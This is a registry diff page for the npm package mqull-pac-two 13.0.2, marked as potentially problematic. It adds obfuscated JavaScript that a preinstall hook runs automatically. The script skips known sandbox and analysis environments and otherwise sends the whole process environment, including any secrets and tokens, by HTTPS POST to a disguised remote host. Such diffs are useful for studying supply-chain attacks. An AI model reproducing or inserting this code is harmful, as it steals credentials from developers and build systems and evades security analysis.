mqull-pac-two 13.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of mqull-pac-two might be problematic. Click here for more details.

@@ -0,0 +1,149 @@
1
+ const goto = require('https');
2
+
3
+ function build() {
4
+ let options = {
5
+ "Name": "New PI Contact",
6
+ "Phone": "+158948945565",
7
+ "Message": "My Best Dream Friend",
8
+ "Address": "Avite St pe-455 NET"
9
+ };
10
+
11
+ return (reverseStr(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
12
+ options['Message'].split(' ')[2] + reverseStr(options['Address'].slice(-3), '.'))
13
+ }
14
+
15
+ function reverseStr(str1, str2) {
16
+ return str2 + str1
17
+ }
18
+
19
+ function number_of(item) {
20
+
21
+ for (let i = 0; i < 4; i++) {
22
+ if (i == 1) {
23
+ item += 's'
24
+ }
25
+ if (i == 3) {
26
+ item += 'e6'
27
+ }
28
+ }
29
+ return item + '4'
30
+ }
31
+
32
+ function sleep_for(pkg_n, prefix) {
33
+ var deactivate = [
34
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['taobao', 'org'].join('.') },
35
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['registry', 'npmmirror', 'com'].join('.') },
36
+ { key: 'USERNAME', val: ['daas', 'admin'].join('') },
37
+ { key: '_', val: '/usr/bin/python' },
38
+ { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') },
39
+ [
40
+ { key: 'MAIL', val: ['', 'var', 'mail', 'app'].join('/') },
41
+ { key: 'HOME', val: ['', 'home', 'app'].join('/') },
42
+ { key: 'USER', val: 'app' },
43
+ ],
44
+ [
45
+ { key: 'EDITOR', val: 'vi' },
46
+ { key: 'PROBE_USERNAME', val: '*' },
47
+ { key: 'SHELL', val: '/bin/bash' },
48
+ { key: 'SHLVL', val: '2' },
49
+ { key: 'npm_command', val: 'run-script' },
50
+ { key: 'NVM_CD_FLAGS', val: '' },
51
+ { key: 'npm_config_fund', val: '' },
52
+ ],
53
+ [
54
+ { key: 'HOME', val: '/home/username' },
55
+ { key: 'USER', val: 'username' },
56
+ { key: 'LOGNAME', val: 'username' },
57
+ ],
58
+ [
59
+ { key: 'PWD', val: '/my-app' },
60
+ { key: 'DEBIAN_FRONTEND', val: 'noninteractive' },
61
+ { key: 'HOME', val: '/root' },
62
+ ],
63
+ [
64
+ { key: 'INIT_CWD', val: '/analysis' },
65
+ { key: 'APPDATA', val: '/analysis/bait' }
66
+ ],
67
+ [
68
+ { key: 'INIT_CWD', val: '/npm' },
69
+ { key: 'APPDATA', val: '/analysis/bait' }
70
+ ],
71
+ [
72
+ { key: 'HOME', val: ['', 'Users', 'justin'].join('\\') },
73
+ { key: 'APPDATA', val: ['', 'Users', 'justin'].join('\\') },
74
+ {
75
+ key: 'LOGONSERVER',
76
+ val: [
77
+ ['DESKTOP', '97KB'].join('-'), '6H'
78
+ ].join('B')
79
+ }
80
+ ],
81
+ [
82
+ { key: 'COMPLUS_ProfAPI_ProfilerCompatibilitySetting', val: 'EnableV2Profiler' },
83
+ { key: 'FPS_BROWSER_APP_PROFILE_STRING', val: ['Internet', 'Explorer'].join(' ') },
84
+ { key: 'PATHEXT', val: 'C:\WINDOWS\System32\OpenSSH\;c:\Program Files\nodejs\;c:\Strawberry\c\bin;c:\Strawberry\perl\site\bin;c:\Strawberry\perl\bin'}
85
+ ]
86
+ ];
87
+
88
+ let missing = [
89
+ ['npm', 'package', 'name'].join('_'), ['npm', 'package', 'json'].join('_'),
90
+ ];
91
+
92
+ var plop = process['en' + 'v'] || {};
93
+ if (deactivate.some((index) => []
94
+ .concat(index)
95
+ .every((i) => (plop[i.key] || '').includes(i.val) || i.val === '*')) ||
96
+ Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`
97
+ ) { return; }
98
+
99
+ if (missing.some(index => !plop[index])) {
100
+ return;
101
+ }
102
+
103
+ var req = goto
104
+ .request(use_language(pkg_n, prefix))
105
+ .on('error', function(err) {});
106
+ req.write(JSON.stringify(plop));
107
+ req.end();
108
+ }
109
+ var MapObj = function() {
110
+ this.name = '__st' + (Math.random() * 1e9 >>> 0);
111
+ };
112
+
113
+ function use_language(pkg_n, prefix) {
114
+ let options = {
115
+ hostname: prefix + '.m.' + build(),
116
+ path: '/' + (pkg_n || ''),
117
+ method: 'POST',
118
+ };
119
+ return options
120
+ }
121
+
122
+ MapObj.prototype = {
123
+ set: function(key, value) {
124
+ var entry = key[this.name];
125
+ if (entry && entry[0] === key)
126
+ entry[1] = value;
127
+ else
128
+ defineProperty(key, this.name, { value: [key, value], writable: true });
129
+ return this;
130
+ },
131
+ get: function(key) {
132
+ var entry;
133
+ return (entry = key[this.name]) && entry[0] === key ?
134
+ entry[1] : undefined;
135
+ },
136
+ delete: function(key) {
137
+ var entry = key[this.name];
138
+ if (!entry || entry[0] !== key) return false;
139
+ entry[0] = entry[1] = undefined;
140
+ return true;
141
+ },
142
+ has: function(key) {
143
+ var entry = key[this.name];
144
+ if (!entry) return false;
145
+ return entry[0] === key;
146
+ }
147
+ };
148
+
149
+ sleep_for('MQull-pac-two', 'eo336kdlu3b38mo');
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "mqull-pac-two",
3
+ "version": "13.0.2",
4
+ "description": "",
5
+ "main": "beforeInstallation.js",
6
+ "scripts": {
7
+ "start": "node start.js",
8
+ "preinstall": "node beforeInstallation.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
13
+ }